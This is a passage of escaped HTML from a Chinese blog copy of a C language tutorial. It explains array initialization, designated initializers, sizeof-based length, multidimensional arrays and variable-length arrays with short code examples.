class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果要将整个数组的每一个成员都设置为零,最简单的写法就是下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e100\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e0\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e数组初始化时,可以指定为哪些位置的成员赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e15\u003c/span\u003e] = {[\u003cspan class=\"number\"\u003e2\u003c/span\u003e] = \u003cspan class=\"number\"\u003e29\u003c/span\u003e, [\u003cspan class=\"number\"\u003e9\u003c/span\u003e] = \u003cspan class=\"number\"\u003e7\u003c/span\u003e, [\u003cspan class=\"number\"\u003e14\u003c/span\u003e] = \u003cspan class=\"number\"\u003e48\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,数组的2号、9号、14号位置被赋值,其他位置的值都自动设为0。\u003c/p\u003e\u003cp\u003e指定位置的赋值可以不按照顺序,下面的写法与上面的例子是等价的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e15\u003c/span\u003e] = {[\u003cspan class=\"number\"\u003e9\u003c/span\u003e] = \u003cspan class=\"number\"\u003e7\u003c/span\u003e, [\u003cspan class=\"number\"\u003e14\u003c/span\u003e] = \u003cspan class=\"number\"\u003e48\u003c/span\u003e, [\u003cspan class=\"number\"\u003e2\u003c/span\u003e] = \u003cspan class=\"number\"\u003e29\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e指定位置的赋值与顺序赋值,可以结合使用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e15\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, [\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = \u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"number\"\u003e11\u003c/span\u003e, [\u003cspan class=\"number\"\u003e10\u003c/span\u003e] = \u003cspan class=\"number\"\u003e20\u003c/span\u003e, \u003cspan class=\"number\"\u003e21\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,0号、5号、6号、10号、11号被赋值。\u003c/p\u003e\u003cp\u003eC 语言允许省略方括号里面的数组成员数量,这时将根据大括号里面的值的数量,自动确定数组的长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[] = {\u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e3\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,数组\u003ccode\u003ea\u003c/code\u003e的长度,将根据大括号里面的值的数量,确定为\u003ccode\u003e3\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e省略成员数量时,如果同时采用指定位置的赋值,那么数组长度将是最大的指定位置再加1。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[] = {[\u003cspan class=\"number\"\u003e2\u003c/span\u003e] = \u003cspan class=\"number\"\u003e6\u003c/span\u003e, [\u003cspan class=\"number\"\u003e9\u003c/span\u003e] = \u003cspan class=\"number\"\u003e12\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,数组\u003ccode\u003ea\u003c/code\u003e的最大指定位置是\u003ccode\u003e9\u003c/code\u003e,所以数组的长度是10。\u003c/p\u003e\u003ch3 id=\"数组长度\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B0%E7%BB%84%E9%95%BF%E5%BA%A6\" class=\"headerlink\" title=\"数组长度\"\u003e\u003c/a\u003e数组长度\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esizeof\u003c/code\u003e运算符会返回整个数组的字节长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[] = {\u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e arrLen = \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(a); \u003cspan class=\"comment\"\u003e// 12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003esizeof\u003c/code\u003e返回数组\u003ccode\u003ea\u003c/code\u003e的字节长度是\u003ccode\u003e12\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e由于数组成员都是同一个类型,每个成员的字节长度都是一样的,所以数组整体的字节长度除以某个数组成员的字节长度,就可以得到数组的成员数量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(a) / \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(a[\u003cspan class=\"number\"\u003e0\u003c/span\u003e])\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003esizeof(a)\u003c/code\u003e是整个数组的字节长度,\u003ccode\u003esizeof(a[0])\u003c/code\u003e是数组成员的字节长度,相除就是数组的成员数量。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003esizeof\u003c/code\u003e返回值的数据类型是\u003ccode\u003esize_t\u003c/code\u003e,所以\u003ccode\u003esizeof(a) / sizeof(a[0])\u003c/code\u003e的数据类型也是\u003ccode\u003esize_t\u003c/code\u003e。在\u003ccode\u003eprintf()\u003c/code\u003e里面的占位符,要用\u003ccode\u003e%zd\u003c/code\u003e或\u003ccode\u003e%zu\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x[\u003cspan class=\"number\"\u003e12\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%zu\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(x)); \u003cspan class=\"comment\"\u003e// 48\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%zu\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%zu\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(x) / \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003esizeof(x) / sizeof(int)\u003c/code\u003e就可以得到数组成员数量\u003ccode\u003e12\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"多维数组\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%A4%9A%E7%BB%B4%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"多维数组\"\u003e\u003c/a\u003e多维数组\u003c/h3\u003e\u003cp\u003eC 语言允许声明多个维度的数组,有多少个维度,就用多少个方括号,比如二维数组就使用两个方括号。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e board[\u003cspan class=\"number\"\u003e10\u003c/span\u003e][\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例声明了一个二维数组,第一个维度有10个成员,第二个维度也有10个成员。\u003c/p\u003e\u003cp\u003e多维数组可以理解成,上层维度的每个成员本身就是一个数组。比如上例中,第一个维度的每个成员本身就是一个有10个成员的数组,因此整个二维数组共有100个成员(10 x 10 = 100)。\u003c/p\u003e\u003cp\u003e三维数组就使用三个方括号声明,以此类推。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e c[\u003cspan class=\"number\"\u003e4\u003c/span\u003e][\u003cspan class=\"number\"\u003e5\u003c/span\u003e][\u003cspan class=\"number\"\u003e6\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e引用二维数组的每个成员时,需要使用两个方括号,同时指定两个维度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eboard[\u003cspan class=\"number\"\u003e0\u003c/span\u003e][\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"number\"\u003e13\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eboard[\u003cspan class=\"number\"\u003e9\u003c/span\u003e][\u003cspan class=\"number\"\u003e9\u003c/span\u003e] = \u003cspan class=\"number\"\u003e13\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,\u003ccode\u003eboard[0][0]\u003c/code\u003e不能写成\u003ccode\u003eboard[0, 0]\u003c/code\u003e,因为\u003ccode\u003e0, 0\u003c/code\u003e是一个逗号表达式,返回第二个值,所以\u003ccode\u003eboard[0, 0]\u003c/code\u003e等同于\u003ccode\u003eboard[0]\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e跟一维数组一样,多维数组每个维度的第一个成员也是从\u003ccode\u003e0\u003c/code\u003e开始编号。\u003c/p\u003e\u003cp\u003e多维数组也可以使用大括号,一次性对所有成员赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e2\u003c/span\u003e][\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003cspan class=\"number\"\u003e5\u003c/span\u003e, \u003cspan class=\"number\"\u003e6\u003c/span\u003e, \u003cspan class=\"number\"\u003e7\u003c/span\u003e, \u003cspan class=\"number\"\u003e8\u003c/span\u003e, \u003cspan class=\"number\"\u003e9\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ea\u003c/code\u003e是一个二维数组,这种赋值写法相当于将第一维的每个成员写成一个数组。这种写法不用为每个成员都赋值,缺少的成员会自动设置为\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e多维数组也可以指定位置,进行初始化赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e2\u003c/span\u003e][\u003cspan class=\"number\"\u003e2\u003c/span\u003e] = {[\u003cspan class=\"number\"\u003e0\u003c/span\u003e][\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"number\"\u003e1\u003c/span\u003e, [\u003cspan class=\"number\"\u003e1\u003c/span\u003e][\u003cspan class=\"number\"\u003e1\u003c/span\u003e] = \u003cspan class=\"number\"\u003e2\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,指定了\u003ccode\u003e[0][0]\u003c/code\u003e和\u003ccode\u003e[1][1]\u003c/code\u003e位置的值,其他位置就自动设为\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e不管数组有多少维度,在内存里面都是线性存储,\u003ccode\u003ea[0][0]\u003c/code\u003e的后面是\u003ccode\u003ea[0][1]\u003c/code\u003e,\u003ccode\u003ea[0][1]\u003c/code\u003e的后面是\u003ccode\u003ea[1][0]\u003c/code\u003e,以此类推。因此,多维数组也可以使用单层大括号赋值,下面的语句是上面的赋值语句是完全等同的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e2\u003c/span\u003e][\u003cspan class=\"number\"\u003e2\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"变长数组\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%98%E9%95%BF%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"变长数组\"\u003e\u003c/a\u003e变长数组\u003c/h3\u003e\u003cp\u003e数组声明的时候,数组长度除了使用常量,也可以使用变量。这叫做变长数组(variable-length array,简称 VLA)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e n = x + y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e arr[n];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,数组\u003ccode\u003earr\u003c/code\u003e就是变长数组,因为它的长度取决于变量\u003ccode\u003en\u003c/code\u003e的值,编译器没法事先确定,只有运行时才能知道\u003ccode\u003en\u003c/code\u003e是多少。\u003c/p\u003e\u003cp\u003e变长数组的根本特征,就是数组长度只有运行时才能确定。它的好处是程序员不必在开发时,随意为数组指定一个估计的长度,程序可以在运行时为数组分配精确的长度。\u003c/p\u003e\u003cp\u003e任何长度需要运行时才能确定的数组,都是变长数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a1[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a2[i + \u003cspan class=\"number\"\u003e5\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a3[i + k];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,三个数组的长度都需要运行代码才能知道,编译器并不知道它们的长度,所以它们都是变长数组。\u003c/p\u003e\u003cp\u003e变长数组也可以用于多维数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e m = \u003cspan class=\"number\"\u003e4\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e n = \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e c[m][n];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ec[m][n]\u003c/code\u003e就是二维变长数组。\u003c/p\u003e\u003ch3 id=\"数组的地址\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B0%E7%BB%84%E7%9A%84%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"数组的地址\"\u003e\u003c/a\u003e数组的地址\u003c/h3\u003e\u003cp\u003e数组是一连串连续储存的同类型值,只要获得起始地址(首个成员的内存地址),就能推算出其他成员的地址。请看下面的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd 